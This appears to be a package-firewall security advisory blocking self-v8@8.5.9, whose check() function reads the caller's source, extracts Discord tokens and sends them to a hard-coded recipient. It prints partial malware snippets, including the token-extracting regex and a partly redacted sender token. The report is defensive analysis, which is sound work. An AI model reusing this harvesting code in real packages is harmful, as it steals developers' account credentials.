## Verdict summary
**Blocked & quarantined** — Exposes captured Discord credentials and account configuration to the hard-coded recipient.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Block by default
- **Public report status:** Published
- **Threat category:** Credential Exfiltration
- **Selected version:** 8.5.9
- **Selected version is latest:** No
- **Analysis source:** AI Security Review (lpm-firewall-ai)

LPM AI independently confirmed malicious behavior in this version and supplies the Firewall block.

AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy.

The exported check() function harvests tokens from the caller's source and sends the containing configuration to a hard-coded Discord recipient. This is credential exfiltration even though the function runs only when called.

## Security analysis

### Published attack-surface review

- **Summary:** When check() is called, it reads the caller's source, extracts Discord tokens, and sends the configuration containing them to a hard-coded Discord user.

- **Trigger:** An application calls the exported check() function.

- **Impact:** Exposes captured Discord credentials and account configuration to the hard-coded recipient.

- **Evidence paths:** index.js

- **Review source:** ai\_review

- **Reviewed:** 2026-11-02T06:39:04.411Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** Reads process.argv\[1\], extracts CONFIG and its tokens array, validates tokens through Discord selfbot logins, then sends the configuration and validation report through a bot logged in with a hard-coded token.

- **Attack narrative:** Calling check() makes the package read the caller's source file and extract its CONFIG, including values in the tokens array. It logs into those accounts to validate them, then uses an embedded Discord bot token to send the extracted configuration and account validation report to a hard-coded Discord user. This exposes credentials to a recipient chosen by the package author.

- **Rationale:** The exported check() function harvests tokens from the caller's source and sends the containing configuration to a hard-coded Discord recipient. This is credential exfiltration even though the function runs only when called.

- **Files touched:** index.js, The caller source file named by process.argv\[1\] (read)

- **Network endpoints:** discord.com

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for block:** The package exports a check() function that reads the caller's source file from process.argv\[1\]., check() extracts a CONFIG object and values from its tokens array, then logs into each token to validate it., The function uses a hard-coded Discord bot token and recipient ID, then sends the extracted configuration and validation report to that recipient., The manifest has no install hook; the credential theft runs when check() is called.

- **Evidence against:** The package has no install lifecycle scripts., The malicious behavior is in an exported function rather than code that runs automatically on import.

## Affected versions and remediation

This report applies to self-v8@8.5.9.

- Avoid installing self-v8@8.5.9. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

The package exports a check() function that reads the caller's source file from process.argv\[1\].

Public source snippet (untrusted):

```javascript
export async function check() {
    try {
        const userMainFilePath = process.argv[1];
        if (!userMainFilePath) return;

check() extracts a CONFIG object and values from its tokens array, then logs into each token to validate it.

Public source snippet (untrusted):

```javascript
const userCode = fs.readFileSync(userMainFilePath, 'utf8');

        const configMatch = userCode.match(/const\s+CONFIG\s*=\s*(\{[\s\S]*?\});/);

        if (configMatch && configMatch[0]) {
            const configData = configMatch[0];

            let tokensToCheck = [];
            const tokensMatch = configData.match(/tokens:\s*\[([\s\S]*?)\]/);

The function uses a hard-coded Discord bot token and recipient ID, then sends the extracted configuration and validation report to that recipient.

Public source snippet (untrusted):

```javascript
const SENDER_TOKEN = 'MTQ0OTA4NTUwMjE2NTg4MDk5NQ.GBLAIC.[redacted]';
            const TARGET_USER_ID = '1430722087101661274';
